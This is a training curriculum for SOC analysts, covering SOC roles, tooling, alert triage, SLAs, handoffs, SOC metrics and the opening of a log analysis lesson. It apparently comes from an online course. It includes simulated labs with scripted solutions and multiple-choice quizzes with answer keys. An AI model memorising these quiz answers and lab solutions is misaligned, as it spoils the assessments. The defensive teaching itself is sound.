

Cyber Analyst (SOC)

Blue team path: detect, investigate and respond to attacks like a SOC analyst, from log reading to threat hunting.

18 modules

102 lessons

75 simulated labs

18 module checkpoints

Best for: People aiming at SOC analyst, incident responder, threat hunter or DFIR roles.

Needs: Security 101, especially Defensive Security Intro and Network Security.

Contents

STAGE 1: ANALYST FOUNDATIONS

SOC-01	SOC Fundamentals	p. 3
SOC-02	Log Analysis Essentials	p. 20
SOC-03	Windows Event Logs and Sysmon	p. 39
SOC-04	Linux and Web Server Logs	p. 61
SOC-05	SIEM Fundamentals	p. 78

STAGE 2: INVESTIGATION

SOC-06	Network Traffic Analysis	p. 103
SOC-07	Endpoint Detection and Response	p. 128
SOC-08	Phishing and Email Analysis	p. 145
SOC-09	Threat Intelligence	p. 162
SOC-10	MITRE ATT&CK for Defenders	p. 181
SOC-11	Malware Triage	p. 198

STAGE 3: RESPONSE AND ADVANCED DEFENSE

SOC-12	Incident Response	p. 217
SOC-13	Digital Forensics Essentials	p. 239
SOC-14	Detection Engineering	p. 258
SOC-15	Threat Hunting	p. 280
SOC-16	Cloud and Identity Detection	p. 297
SOC-17	SOC Reporting and Communication	p. 314
SOC-18	Capstone: Investigate an Incident	p. 325

SOC Fundamentals

Beginner | 5 lessons | 4 simulated labs | checkpoint | about 3h 45m

A Security Operations Center (SOC) is the team, process and tooling that watches an organization's systems for signs of attack and responds to them. This module explains how SOC's are staffed in tiers, which tools each role uses, how an alert moves from detection to closure, how severity-based SLAs and playbooks keep work consistent, and how metrics such as MTTD and MTTR show whether the SOC is improving. These foundations frame every later module in the path.

BY THE END YOU CAN

- + Describe SOC tiers, roles and the tools each uses
- + Walk an alert through its lifecycle within SLA targets
- + Calculate and interpret MTTD, MTTR and related metrics

IN THIS MODULE

Lesson 1 SOC structure and Tier 1-3 roles

Lesson 2 The SOC toolset

Lesson 3 Alert lifecycle and triage

Lesson 4 SLAs, playbooks and shift handoffs

Lesson 5 SOC metrics: MTTD, MTTR and quality

Lab 1 Sort the alert queue (Mock SIEM)

Lab 2 Follow the phishing playbook (Scenario)

Lab 3 Write a shift handoff (Chat sim)

Lab 4 Compute SOC metrics (Diagram builder)

Checkpoint 10 questions, 80% to pass

SOC structure and Tier 1-3 roles

Knowing who owns what in a SOC tells you when to escalate, to whom, and what the next person expects to receive.

Why SOCs use tiers

Most SOCs divide work by depth of analysis so that the large volume of simple decisions does not block the small number of hard ones. Tier 1 (L1) analysts monitor the alert queue, perform first-pass triage and close obvious false positives. Tier 2 (L2) analysts take escalated cases, investigate across several data sources and decide on containment. Tier 3 (L3) analysts are senior investigators, threat hunters and malware or forensic specialists who handle the hardest incidents and improve detections. The tier model keeps skilled people focused where their time is most valuable and gives new analysts a clear growth path.

Roles beyond the three tiers

Around the tiers sit supporting roles. The SOC manager owns staffing, budget, metrics and relationships with the business. Detection engineers write and tune rules. SOC or security engineers keep the SIEM, EDR and log pipelines healthy. Threat intelligence analysts supply context about adversaries. An incident manager (often called the incident commander) coordinates a major incident across IT, legal and communications. Small organizations combine these roles in a few people, and a managed security service provider (MSSP) may supply L1 and L2 on behalf of the customer.

Escalation: what moves up and why

An alert is escalated when it exceeds the analyst's authority, skill or time. Common triggers are confirmed compromise, a critical asset such as a domain controller, suspected data loss, an executive or privileged account, or evidence the analyst cannot interpret. Good escalation is complete: the analyst states what was seen, what was already checked, what is uncertain and what action is requested. Poor escalation, such as forwarding a raw alert with the note please look, forces the next tier to repeat the work and delays the response.

Working models and shifts

Many SOCs run 24x7 using three shifts or a follow-the-sun arrangement across time zones. Others run business hours with an on-call rotation. Whatever the model, continuity matters: the same case may be touched by several analysts, so ownership, status and next steps must be written down. Tier boundaries also change over time. Automation increasingly absorbs L1 tasks such as enrichment, so L1 analysts spend more time on verdicts and quality. Treat the tier names as a convention and learn the responsibilities each represents in your own organization.

ORG CHART (TYPICAL)

```

SOC Manager
  Incident Manager (major incidents)
    L3: hunters, forensics, malware
    L2: investigators, responders
    L1: queue monitoring, triage
  Engineering: SIEM/EDR/pipelines
  Detection engineering, Threat intel
  
```

WORKED EXAMPLE

At 02:10 an L1 analyst sees an EDR alert for encoded PowerShell on host FIN-WS-07 (192.0.2.44). Checking the user, parent process and prior alerts, they confirm Word launched PowerShell and a download followed. The host is a finance workstation, so they escalate to L2 with the process tree, command line, user, timeline and a request to isolate the host. L2 isolates it, and flags L3 to analyze the payload.

KEY TERMS

Tier 1: The first line of analysts who monitor alerts and perform initial triage.

Escalation: Passing a case to a more senior person or team because it exceeds current authority or skill.

Incident manager: The person who coordinates response across technical and business teams during a major incident.

MSSP: A managed security service provider that runs monitoring on behalf of a customer.

Detection engineer: A specialist who builds, tests and tunes detection rules.

REMEMBER

- SOC's divide work into tiers so simple volume and hard cases are handled by the right people.
- Supporting roles (engineering, intel, incident manager) keep the SOC effective.
- Escalate with findings, checks done and a clear request.

QUICK CHECK

1. Which tier typically performs first-pass triage of the alert queue?
 - A) Tier 1
 - B) Tier 3
 - C) SOC manager
 - D) Detection engineer
2. Which is the best reason to escalate a case?
 - A) The alert arrived on a Friday
 - B) A domain controller shows confirmed compromise
 - C) The alert title is long
 - D) The analyst is bored
3. Who is mainly responsible for keeping SIEM log pipelines healthy?
 - A) Security engineering
 - B) Tier 1 analysts
 - C) The incident manager
 - D) Legal counsel
4. What makes an escalation note good?
 - A) It forwards the raw alert unchanged
 - B) It states findings, checks done, uncertainties and the requested action
 - C) It only lists the hostname
 - D) It avoids naming the user

Answers: 1-A 2-B 3-A 4-B

1. L1 analysts monitor the queue and make the first triage decision.
2. Confirmed compromise of a critical asset exceeds L1 authority and needs senior handling.
3. Engineers maintain the platforms and data flow that analysts rely on.
4. Complete escalations save the next tier from repeating work.

The SOC toolset

Each tool shows a different slice of activity; knowing what each can and cannot see tells you where to look next.

SIEM and log management

A Security Information and Event Management (SIEM) platform collects logs from many sources, normalizes them, stores them and lets analysts search and alert on them. Examples include Splunk, Microsoft Sentinel and Elastic Security. The SIEM is usually the central pane of glass for correlation, such as joining a firewall deny, an authentication failure and a web request from the same address. Its weakness is that it only knows what it is sent, so missing or badly parsed logs create blind spots.

Endpoint and network visibility

Endpoint Detection and Response (EDR) agents record process creation, file, registry and network activity on hosts and can contain a machine by isolating it. Network Detection and Response (NDR) and sensors such as Zeek or Suricata analyze traffic from taps or SPAN ports, which helps where no agent can be installed, for example on IoT devices. EDR sees what happened inside the host, NDR sees what crossed the wire. Encrypted traffic limits NDR content inspection, so metadata such as destinations, timing and certificates become important.

Automation, cases and intelligence

Security Orchestration, Automation and Response (SOAR) tools run playbooks automatically: enriching an IP, querying EDR, opening a ticket or blocking an indicator after approval. Ticketing or case management systems such as ServiceNow or TheHive record who did what, which is vital for audit and handoffs. A Threat Intelligence Platform (TIP) such as MISP stores indicators and context from feeds and partners. Analysts also use sandboxes, email security gateways and vulnerability scanners, each feeding alerts or context into the same workflow.

Choosing the right tool for the question

Match the question to the data source. Did a process run on this host? Use EDR. Which accounts logged on from this address? Use the SIEM and authentication logs. Did this host talk to a rare external server? Use NDR or firewall logs. Is this hash known malicious? Use the intelligence platform or a reputation service. Tools overlap, and strong analysts confirm a finding in a second source before concluding. Also remember that every tool generates alerts, so the SOC must tune and prioritize them rather than treat each product as a separate silo. A good SOC integrates them so that one case can pull evidence from all of them.

TOOL MAP

```
Question -> Tool
Process ran on host? -> EDR
Who logged on from IP? -> SIEM auth logs
Rare external server? -> NDR / firewall
Known bad hash? -> TIP / reputation
Record actions -> Ticketing / case system
```

WORKED EXAMPLE

An alert says host HR-LT-12 contacted 198.51.100.77. The analyst checks the SIEM for the proxy log (user and URL), EDR for the process that made the connection, and the TIP for any record of the address. EDR shows a signed update client, TIP has no hits, and the proxy shows a vendor update domain. The analyst documents each source in the ticket and closes the alert as benign.

KEY TERMS

SIEM: A platform that collects, normalizes, stores and correlates log data and raises alerts.

EDR: Endpoint agent software that records host activity and supports detection and containment.

NDR: Network detection and response, analysis of traffic to find threats.

SOAR: Tooling that automates and orchestrates response playbooks.

TIP: A threat intelligence platform that stores and shares indicators and context.

REMEMBER

- SIEM correlates logs, EDR sees hosts, NDR sees traffic.
- SOAR and ticketing automate and record the workflow.
- Confirm findings in a second data source.

QUICK CHECK

1. Which tool is best for isolating an infected laptop from the network?
 - A) EDR
 - B) SIEM dashboard
 - C) TIP
 - D) Vulnerability scanner
2. What is a main limitation of a SIEM?
 - A) It cannot store logs
 - B) It only knows what it is sent and parsed correctly
 - C) It cannot search
 - D) It has no alerts
3. What does SOAR primarily provide?
 - A) Automated playbook execution and orchestration
 - B) Packet capture
 - C) Disk imaging
 - D) Password storage
4. Why use NDR in addition to EDR?
 - A) It sees traffic on devices where no agent can run
 - B) It replaces all logging
 - C) It is cheaper than SIEM
 - D) It decrypts all traffic

Answers: 1-A 2-B 3-A 4-A

1. EDR agents can network-isolate a host.
2. Missing or badly parsed logs create blind spots.
3. SOAR automates enrichment and response tasks.
4. Network sensors cover agentless devices such as IoT.

Alert lifecycle and triage

A consistent lifecycle makes decisions repeatable and auditable and prevents both missed attacks and wasted effort.

From detection to triage

An alert starts when a detection rule, product or user report fires. It lands in a queue with a severity and the first step is triage: quickly deciding whether it is worth further work. The analyst reads the alert logic, the triggering event, the asset and the user involved. A useful habit is to ask what the rule is looking for, why it fired here, and what benign explanations exist. Triage should be fast, typically minutes, and aims to separate clearly benign items from those needing investigation.

Enrichment and verdict

Enrichment adds context: asset criticality and owner, user role, geolocation and reputation of IPs and domains, file hashes, previous alerts on the same host and recent changes such as software deployments. With context the analyst reaches a verdict. A true positive means malicious or policy-violating activity occurred. A false positive means the rule fired but nothing wrong happened. A benign true positive means the activity matched the rule and was real, but was authorized, such as an admin running a scan. Record the reasoning, not only the label.

Escalation, response and closure

True positives that exceed L1 scope are escalated with a summary and evidence. Others are closed with a documented reason and, if the rule is noisy, a request to tune it. Closure is more than clicking a button: a good closure note says what was checked, the verdict, the action taken and any follow-up such as a detection improvement. Cases that are confirmed incidents move into the incident response process, with containment, eradication and recovery handled under the response plan rather than in the alert queue.

Common triage mistakes

Frequent errors include closing alerts based on the title only, trusting a single reputation score, ignoring asset criticality, and anchoring on the first explanation. Another mistake is failing to look for related activity: one failed logon may be noise, but ten across many accounts is a pattern. Avoid alert fatigue by tracking which rules give little value and sending them for tuning. Remember that an attacker may deliberately create noise, so an alert that looks routine on a critical host deserves a second look before closure.

CASE NOTE (EXAMPLE)

```
Alert: Multiple failed logons (rule AUTH-014)
Src: 203.0.113.50 Target: svc-backup
Checked: 14 failures in 3 min, 0 success
Context: external IP, no prior history
Verdict: True positive, brute force attempt
Action: IP blocked at firewall, ticket INC-2041
```

WORKED EXAMPLE

A rule fires for a user downloading a large archive from a file share at 14:20. Enrichment shows the user is a project manager, the share is their team folder, and a project handover happened that week. There is no external transfer and no prior alerts. The analyst labels it a benign true positive, writes the reasoning in the ticket, and asks detection engineering to add a size threshold or exclude the team share.

KEY TERMS

Triage: Quick initial assessment to decide whether an alert needs investigation.

Enrichment: Adding context such as asset, user and reputation data to an alert.

True positive: An alert that correctly identifies malicious or violating activity.

False positive: An alert that fired though no real problem exists.

Benign true positive: Real activity that matched the rule but was authorized.

REMEMBER

- Triage, enrich, decide a verdict, then escalate or close with notes.
- Distinguish true, false and benign true positives.

- Look for related activity and record reasoning.

QUICK CHECK

1. What does a false positive mean?
 - A) The rule fired but nothing wrong occurred
 - B) Malware was confirmed
 - C) The alert was missed
 - D) The case was escalated
2. Which step adds asset criticality and IP reputation to an alert?
 - A) Enrichment
 - B) Closure
 - C) Eradication
 - D) Retention
3. An admin runs an approved scan that triggers a rule. What is the verdict?
 - A) Benign true positive
 - B) Missed detection
 - C) Ransomware
 - D) Data loss
4. Which is a triage mistake?
 - A) Closing an alert based on its title alone
 - B) Checking related alerts on the host
 - C) Recording reasoning
 - D) Verifying in a second source

Answers: 1-A 2-A 3-A 4-A

1. A false positive is a firing without a real problem.
2. Enrichment supplies context for the verdict.
3. The activity is real but authorized.
4. Titles do not show what actually happened.

SLAs, playbooks and shift handoffs

Time targets, written procedures and clear handoffs keep a team consistent when people and shifts change.

Severity-based SLAs

A service level agreement (SLA) in a SOC sets how fast alerts are acknowledged and handled by severity. A common pattern is: critical, acknowledge within 15 minutes and begin containment within an hour; high, acknowledge within 30 to 60 minutes; medium, within a few hours; low, within a business day. Severity combines the detection's confidence, the impact if true and asset criticality. SLAs are agreed with the business, measured by the ticketing system and reviewed so that targets reflect real risk rather than being arbitrary. Missing SLAs usually signals understaffing or too much noise.

Playbooks and runbooks

A playbook is a documented set of steps for a type of alert or incident, such as phishing, malware or suspicious logon. It lists inputs, checks, decision points, actions and escalation criteria. Following one improves consistency and speeds up new analysts. For example, a phishing playbook says to obtain the message, analyze headers and URLs, search for other recipients, purge, block indicators and notify the user. Playbooks should be versioned, tested and updated after incidents. Some steps can be automated in SOAR while approval-based steps such as isolating a server remain human.

Writing a shift handoff

Handoffs transfer knowledge between shifts. A good note is structured: open cases with owner, status and next action; pending requests and who is waiting; noteworthy trends such as an active phishing campaign; system issues such as a log source down; and risks or deadlines. Be specific, with case IDs, hostnames and times in UTC. Avoid vague lines such as still working on the thing. The incoming analyst should be able to continue without calling the previous one. Many teams also hold a short verbal briefing to cover anything nuanced.

Keeping the process healthy

SLAs, playbooks and handoffs are linked. A clear playbook shortens handling time, which helps meet SLAs, and a precise handoff stops cases stalling over a shift change. Review them regularly using metrics: which alert types breach SLAs, which playbooks are skipped and which handoff notes left questions. Involve analysts in updates because they know where steps are unclear. Document exceptions too, for example when an on-call manager approves a delay, so that audits can see decisions were deliberate.

HANDOFF NOTE

```
Shift: 14:00-22:00 UTC -> 22:00-06:00 UTC
INC-2041 High: brute force on svc-backup, IP blocked, monitor 24h
INC-2043 Med: phish reported, 3 recipients, purge pending approval
Issue: proxy logs delayed ~20 min since 18:30
Risk: patch window on web01 at 23:00
```

WORKED EXAMPLE

A critical alert for ransomware behavior arrives at 09:00 with a 15-minute acknowledge SLA. The analyst acknowledges at 09:06, follows the ransomware playbook (isolate host, preserve evidence, notify incident manager) and escalates by 09:20. At end of shift they write a handoff listing the case ID, the isolated host, pending forensic imaging and the next contact, all in UTC so the next shift can pick up immediately.

KEY TERMS

SLA: A time commitment for responding to or resolving alerts, set by severity.

Playbook: A documented step list for handling a specific alert or incident type.

Runbook: A detailed operational procedure, often for a specific system task.

Shift handoff: The structured transfer of case status and risks between shifts.

Severity: A rating combining confidence, impact and asset criticality.

REMEMBER

- SLAs scale response time with severity.
- Playbooks give consistent, reviewable procedures.

- Handoffs must be specific, current and in UTC.

QUICK CHECK

1. Which factor most directly sets an alert's SLA?
 - A) Severity
 - B) The analyst's name
 - C) The log format
 - D) The SIEM vendor
2. What is a playbook?
 - A) A step list for handling a type of alert
 - B) A firewall rule
 - C) A threat actor profile
 - D) A log parser
3. Which handoff line is best?
 - A) INC-2043: purge pending approval from manager, 3 recipients
 - B) Still working on the thing
 - C) Nothing special
 - D) Ask me later
4. Frequent SLA breaches most likely suggest what?
 - A) Understaffing or too much noise
 - B) Perfect tuning
 - C) Excess storage
 - D) Faster networks

Answers: 1-A 2-A 3-A 4-A

1. SLAs are tied to severity levels.
2. Playbooks standardize handling.
3. It is specific, includes an ID and a next action.
4. Breaches usually point to capacity or noise problems.

SOC metrics: MTTD, MTTR and quality

Metrics show whether detection and response are improving and where effort is wasted.

Time-based metrics

Mean Time to Detect (MTTD) is the average time from when malicious activity begins to when the SOC detects it. Mean Time to Respond (MTTR) is the average time from detection to containment or resolution; some teams define separate measures such as time to acknowledge and time to contain. Compute them from timestamps in cases. Example: activity starts 10:00, detected 10:30, contained 12:00. Detection time is 30 minutes and response time is 90 minutes. Averaging across many incidents gives MTTD and MTTR. Always state exactly which start and end events are used so numbers are comparable.

Quality and volume metrics

Alert volume shows workload. The false positive rate is false positives divided by total alerts reviewed, such as 180 of 200 giving 90 percent. Precision is true positives divided by all alerts, so 20 of 200 gives 10 percent. Other measures include escalation rate, reopen rate, SLA compliance and coverage against ATT&CK techniques. High volume with low precision implies noise and analyst fatigue, while low volume might mean missing logs rather than a quiet environment. Read metrics together rather than singly.

Interpreting and misusing metrics

Means can mislead: one incident that took three weeks to detect can distort an average, so many teams also report the median and the distribution. Metrics can also be gamed. If analysts are rewarded for fast closure, they may close alerts carelessly, so pair speed with quality checks such as peer review of closed cases. Measure what you want to improve, and compare against your own trend rather than another organization, because incident types and data differ. Report to managers with context, such as a drop in MTTD after new detections.

Using metrics to improve

Metrics become useful when they lead to action. A rule with a 98 percent false positive rate is a tuning candidate. A rising time to acknowledge on weekends suggests staffing changes. A long MTTD for phishing might justify better email telemetry. Set targets, review them monthly and record the changes you made and their effect. Metrics also support budget requests by showing the effect of tools and staffing. Keep definitions stable so that trends mean something, and note any change in definition when you report.

WORKED NUMBERS

```
Case A: start 10:00 detect 10:30 contain 12:00
      TTD 30 min, TTR 90 min
Case B: start 08:00 detect 09:00 contain 09:30
      TTD 60 min, TTR 30 min
MTTD = (30+60)/2 = 45 min
MTTR = (90+30)/2 = 60 min
```

WORKED EXAMPLE

A SOC reviews 400 alerts in a week and 360 are false positives. The false positive rate is 90 percent and precision is 10 percent. One rule generates 250 of the alerts. The manager asks detection engineering to tune that rule first. After tuning, the weekly volume drops to 220 alerts with 40 true positives, so precision rises to about 18 percent while no true positives are lost.

KEY TERMS

MTTD: Mean time to detect: average time from activity start to detection.

MTTR: Mean time to respond: average time from detection to containment or resolution.

False positive rate: The share of reviewed alerts that were false positives.

Precision: True positives divided by total alerts.

Median: The middle value, less distorted by outliers than a mean.

REMEMBER

- MTTD measures detection delay and MTTR response time.

- Pair volume, precision and false positive rate.
- Use metrics to drive tuning, staffing and tooling decisions.

QUICK CHECK

1. An attack starts 09:00, is detected 09:20 and contained 10:20. What are the detection and response times?
 - A) 20 min and 60 min
 - B) 60 min and 20 min
 - C) 80 min and 20 min
 - D) 20 min and 80 min
2. 180 of 200 alerts are false positives. What is the false positive rate?
 - A) 90 percent
 - B) 10 percent
 - C) 18 percent
 - D) 180 percent
3. Why report the median alongside the mean?
 - A) Outliers can distort the mean
 - B) The median is always smaller
 - C) It is required by law
 - D) It hides slow incidents
4. What risk arises if analysts are rewarded only for fast closure?
 - A) Careless closures that miss true positives
 - B) Higher precision
 - C) Lower volume
 - D) Better SLAs only

Answers: 1-A 2-A 3-A 4-A

1. Detection is 09:00 to 09:20 and response is 09:20 to 10:20.
2. 180 divided by 200 is 0.9.
3. One very long incident can skew an average.
4. Speed without quality control encourages shortcuts.

Sort the alert queue

SCENARIO

The SIEM queue holds 10 alerts at 08:00 for the fictional company Example Corp. Assets include a domain controller (dc01, 192.0.2.10), a public web server and user laptops. Some alerts are routine and others suggest compromise. You rank them and assign tiers.

OBJECTIVE

Rank all 10 alerts by severity and asset criticality and assign each to the correct tier.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the queue and sort by severity column

Simulator shows:

10 alerts listed: 2 Critical, 3 High, 3 Medium, 2 Low

- 2 **Do:** Open alert A1 (Critical) and read the asset field

Simulator shows:

A1: mimikatz-like credential dump on dc01 (192.0.2.10), asset criticality Tier-0

- 3 **Do:** Open alert A2 (Critical)

Simulator shows:

A2: ransomware file rename burst on FS02, 400 files in 2 min

- 4 **Do:** Open High alerts and compare the assets

Simulator shows:

H1 web01 SQLi attempts; H2 laptop AV detection quarantined; H3 failed logons on svc-backup from 203.0.113.50

- 5 **Do:** Open Medium and Low alerts

Simulator shows:

M1 policy proxy block, M2 new software install, M3 port scan from internal scanner; L1 and L2 informational login at odd hour for test account

- 6 **Do:** Assign tiers using the dropdown

Simulator shows:

Assignment saved: A1,A2 -> L3 and incident manager; H1,H3 -> L2; H2 -> L1 close with note; M1-M3 and L1-L2 -> L1

- 7 **Do:** Submit ranking

Simulator shows:

Ranking scored: order correct, 10 of 10 tiers acceptable

ANSWER

Highest priority are A1 (credential dumping on the domain controller) and A2 (ransomware behavior), both escalated to L3 and the incident manager. H1 and H3 go to L2, and the rest are handled by L1 with notes.

Hint shown in the app: Rank by impact if true and asset criticality, not just the label color.

Follow the phishing playbook

SCENARIO

A user at Example Corp reports an email claiming to be from payroll (sender `billing@example.net`) with a link. You follow the SOC phishing playbook and make the correct choice at each decision point, then record the outcome in the ticket.

OBJECTIVE

Choose the correct playbook step at each decision point and close the case with a recorded outcome.

STEPS IN THE SIMULATOR

- 1 **Do:** Decision 1: acknowledge the report. Choose 'Acknowledge and request original message as attachment'

Simulator shows:

Reporter thanked. Original .eml received with full headers

- 2 **Do:** Decision 2: analysis. Choose 'Inspect headers and defang URL, check reputation'

Simulator shows:

Return-Path mismatch; URL `hxxp://payroll-example[.]test/login` flagged as lookalike

- 3 **Do:** Decision 3: scope. Choose 'Search mail logs for the sender and URL'

Simulator shows:

Search finds 14 recipients, 2 clicked per proxy logs

- 4 **Do:** Decision 4: containment. Choose 'Purge from mailboxes and block sender and URL'

Simulator shows:

14 messages purged, domain blocked at proxy

- 5 **Do:** Decision 5: affected users. Choose 'Reset credentials for the 2 clickers and review sign-ins'

Simulator shows:

2 passwords reset, no suspicious sign-ins found

- 6 **Do:** Record outcome in the ticket and close

Simulator shows:

Ticket INC-3001: True positive phishing, contained, user advised

ANSWER

Correct path is acknowledge, analyze, scope the campaign, purge and block, reset the two users who clicked and document. The verdict is a true positive phishing campaign with no confirmed account compromise.

Hint shown in the app: Always search for other recipients before closing a single report.

Write a shift handoff

SCENARIO

You finish an evening shift and a chat-sim plays the incoming analyst, Sam. You must give a structured handoff covering open cases, pending actions and risks. Cases: INC-2041 brute force blocked, INC-2043 phishing purge pending, proxy log delay, and a patch window on web01 at 23:00 UTC.

OBJECTIVE

Provide a complete, specific handoff that lets Sam continue without follow-up questions.

STEPS IN THE SIMULATOR

- 1 **Do:** Type: 'Open cases: INC-2041 and INC-2043'

Simulator shows:

Sam: Status and owner for each?

- 2 **Do:** Type: 'INC-2041 High, brute force on svc-backup, IP 203.0.113.50 blocked, monitor 24h, owner me until 22:00 UTC'

Simulator shows:

Sam: Got it. Anything pending?

- 3 **Do:** Type: 'INC-2043 Medium phishing, 3 recipients, purge awaiting manager approval'

Simulator shows:

Sam: Who do I chase for approval?

- 4 **Do:** Type: 'Chase the SOC manager on-call; approval needed before 23:00'

Simulator shows:

Sam: Noted. Any system issues?

- 5 **Do:** Type: 'Proxy logs delayed about 20 min since 18:30 UTC, engineering ticket ENG-77'

Simulator shows:

Sam: Will tell the team if it worsens.

- 6 **Do:** Type: 'Risk: patch window on web01 at 23:00 UTC may cause alert noise'

Simulator shows:

Sam: Understood. Handoff complete, checklist 5 of 5 items covered

ANSWER

A complete handoff has case IDs with severity, status, owner and next action, pending approvals and who gives them, system issues with ticket numbers, and upcoming risks, all with times in UTC.

Hint shown in the app: Include owner, next action and a UTC time for every item.

Compute SOC metrics

SCENARIO

Three incidents have timestamps recorded in the case system. Place start, detection and containment markers on a timeline and compute the mean times. Case 1: start 10:00, detected 10:30, contained 12:00. Case 2: start 08:00, detected 09:00, contained 09:30. Case 3: start 13:00, detected 13:10, contained 14:10.

OBJECTIVE

Derive MTTD and MTTR for the three cases.

STEPS IN THE SIMULATOR

- 1 Do:** Drag the start, detect and contain markers for Case 1 onto the timeline

Simulator shows:

Case 1: TTD 30 min, TTR 90 min

- 2 Do:** Place markers for Case 2

Simulator shows:

Case 2: TTD 60 min, TTR 30 min

- 3 Do:** Place markers for Case 3

Simulator shows:

Case 3: TTD 10 min, TTR 60 min

- 4 Do:** Click Sum detection times

Simulator shows:

Total TTD = 100 min

- 5 Do:** Divide by 3 and enter MTTD

Simulator shows:

MTTD = 33.3 min, accepted

- 6 Do:** Click Sum response times, divide by 3 and enter MTTR

Simulator shows:

Total TTR = 180 min, MTTR = 60 min, accepted

ANSWER

MTTD is about 33 minutes (100 divided by 3) and MTTR is 60 minutes (180 divided by 3). Response time is measured from detection to containment, not from start.

Hint shown in the app: Subtract carefully: detection time starts at activity start, response time starts at detection.

SOC Fundamentals: 10 questions, 80% to pass

1. Which tier usually handles escalated multi-source investigations?
 - A) Tier 2
 - B) Tier 1 only
 - C) Legal
 - D) Vendor support
2. Which tool is primarily used to isolate a compromised host?
 - A) EDR
 - B) Ticketing
 - C) TIP
 - D) Email gateway
3. An alert fires for an approved vulnerability scan. The best label is:
 - A) Benign true positive
 - B) True positive attack
 - C) Missed detection
 - D) Ransomware
4. What is the correct order of the early alert lifecycle?
 - A) Detect, triage, enrich, verdict
 - B) Verdict, detect, enrich, triage
 - C) Close, detect, triage, enrich
 - D) Enrich, close, detect, triage
5. Which element sets how quickly a critical alert must be acknowledged?
 - A) SLA
 - B) Parser
 - C) Index
 - D) Regex
6. A good shift handoff should include:
 - A) Case IDs, status, next action and UTC times
 - B) Only a greeting
 - C) Personal opinions
 - D) Raw logs without context
7. Activity starts 14:00, detected 14:45, contained 15:15. What is time to respond?
 - A) 30 minutes
 - B) 45 minutes
 - C) 75 minutes
 - D) 15 minutes
8. If 45 of 50 reviewed alerts were false positives, the false positive rate is:
 - A) 90 percent
 - B) 10 percent
 - C) 45 percent
 - D) 5 percent
9. Why might a mean MTTD mislead?
 - A) A single long outlier can skew it
 - B) Means are always accurate
 - C) It ignores time
 - D) It requires no data
10. What is the best response to a rule with a 98 percent false positive rate?
 - A) Send it for tuning
 - B) Ignore all alerts
 - C) Disable logging
 - D) Escalate each alert to L3

Answers: 1-A 2-A 3-A 4-A 5-A 6-A 7-A 8-A 9-A 10-A

1. L2 investigates escalated cases across sources.
2. EDR agents can isolate hosts.
3. The activity was real but authorized.
4. Alerts are detected, triaged, enriched, then given a verdict.
5. SLAs set response targets by severity.
6. Specific, actionable details are required.
7. Response runs from detection (14:45) to containment (15:15).
8. 45 divided by 50 is 0.9.
9. Outliers distort means, so median and distribution help.
10. Noisy rules should be tuned, keeping true positive detection.

Log Analysis Essentials

Beginner | 6 lessons | 4 simulated labs | checkpoint | about 4h

Logs are the raw evidence of what happened on systems and networks. This module teaches you to classify log sources and know what each can prove, decode syslog, JSON and CEF records, parse and normalize fields, write regular expressions to extract addresses, users and status codes, and correlate events from several sources into one timeline. These skills are used in nearly every investigation, and the later SIEM, Windows, Linux and network modules all depend on them.

BY THE END YOU CAN

- + Recognize syslog, JSON and CEF log formats and their fields
- + Write regex to extract IPs, users and timestamps from logs
- + Correlate events from several sources into a timeline

IN THIS MODULE

Lesson 1 Log sources and types

Lesson 2 Syslog format and severity levels

Lesson 3 Structured logs: JSON and CEF

Lesson 4 Parsing and normalization

Lesson 5 Regex for log analysis

Lesson 6 Correlation and timelines

Lab 1 Decode syslog priority (Log viewer)

Lab 2 Parse a CEF event (Code editor)

Lab 3 Regex extraction drill (Terminal)

Lab 4 Build a timeline (Log viewer)

Checkpoint 10 questions, 80% to pass

Log sources and types

Choosing the right log for a question is the first skill of an investigation; the wrong log gives a confident but empty answer.

Families of log sources

Logs come from several families. Operating system logs record logons, service changes and process activity: Windows Event Log and Linux syslog, auth.log and auditd. Application logs, such as web servers, databases and email servers, record requests and errors. Network device logs from firewalls, routers, proxies and DNS servers record connections, denies and lookups. Authentication logs from directories and identity providers record who signed in, from where and whether multi-factor authentication was used. Cloud logs such as AWS CloudTrail and Microsoft Entra ID sign-in logs record API calls and sign-ins for services you do not physically own.

What each log can prove

Each log proves a limited set of facts. A firewall log shows that a connection was allowed or denied between two addresses and ports, but not what data moved. A web access log shows the request line, status and size, but not the request body for a POST. An authentication log shows a success or failure and a source, but not what the user did afterward. Process creation logs show what ran and with which command line, but not necessarily what the process did on the network. Knowing the limit prevents overclaiming, for example saying data was stolen only because a connection was allowed.

Quality factors: completeness, time and retention

Good evidence needs three qualities. Completeness: is every relevant host sending logs, and are verbose settings enabled? Accurate time: logs need synchronized clocks through NTP and a clear time zone, ideally UTC, otherwise events from different systems cannot be ordered. Retention: logs must be kept long enough, often 90 days online and a year or more archived, because intrusions are frequently discovered weeks after they began. Attackers know this and may clear logs, so forward copies to a central collector quickly, where they cannot be altered by someone controlling the original host.

Mapping questions to sources

Practise by turning questions into sources. Who logged in to the server? Authentication logs. Which pages did the scanner request? Web access logs. Did the laptop contact the suspicious domain? DNS or proxy logs. What launched the script? Process creation or EDR. Was the policy changed? Audit and configuration change logs. Often more than one source is needed to cross-check. When a log you need does not exist, write that down as a visibility gap and recommend enabling it, since a gap found during an incident is a gap that remains until someone fixes it.

SOURCE TO QUESTION

Source Answers
Firewall Was traffic allowed/denied?
Web access Which URLs, status, client?
Auth/AD Who signed in, success/fail?
DNS/proxy Which domain was requested?
Process/EDR What ran, parent, command line?

WORKED EXAMPLE

An analyst must decide whether user alice reached a suspicious site 198.51.100.20 on Tuesday. The firewall log shows an allowed connection from 192.0.2.50 at 09:14 UTC. DHCP logs map that address to alice's laptop. The proxy log shows the URL request and a 200 response. Together these three sources prove that her laptop requested the site, which a single firewall entry could not.

KEY TERMS

Log source: A system or application that produces log records.

NTP: Network Time Protocol, used to keep clocks synchronized.

Retention: How long logs are stored and searchable.

Visibility gap: A place where needed logs do not exist.

Central collector: A server that receives and stores logs from many systems.

REMEMBER

- Know each log family and the facts it can prove.
- Check completeness, accurate time and retention.
- Record visibility gaps when a needed log does not exist.

QUICK CHECK

1. Which log best shows which URLs a scanner requested?
 - A) Web access log
 - B) Firewall deny log
 - C) DHCP log
 - D) Printer log
2. Why synchronize clocks with NTP?
 - A) So events from different systems can be ordered
 - B) To encrypt logs
 - C) To reduce log size
 - D) To block attackers
3. A firewall allow entry proves:
 - A) A connection was permitted between two endpoints
 - B) Data was stolen
 - C) Malware ran
 - D) A user typed a password
4. Why forward logs to a central collector?
 - A) Attackers may clear local logs
 - B) It deletes old logs
 - C) It speeds up disks
 - D) It removes the need for retention

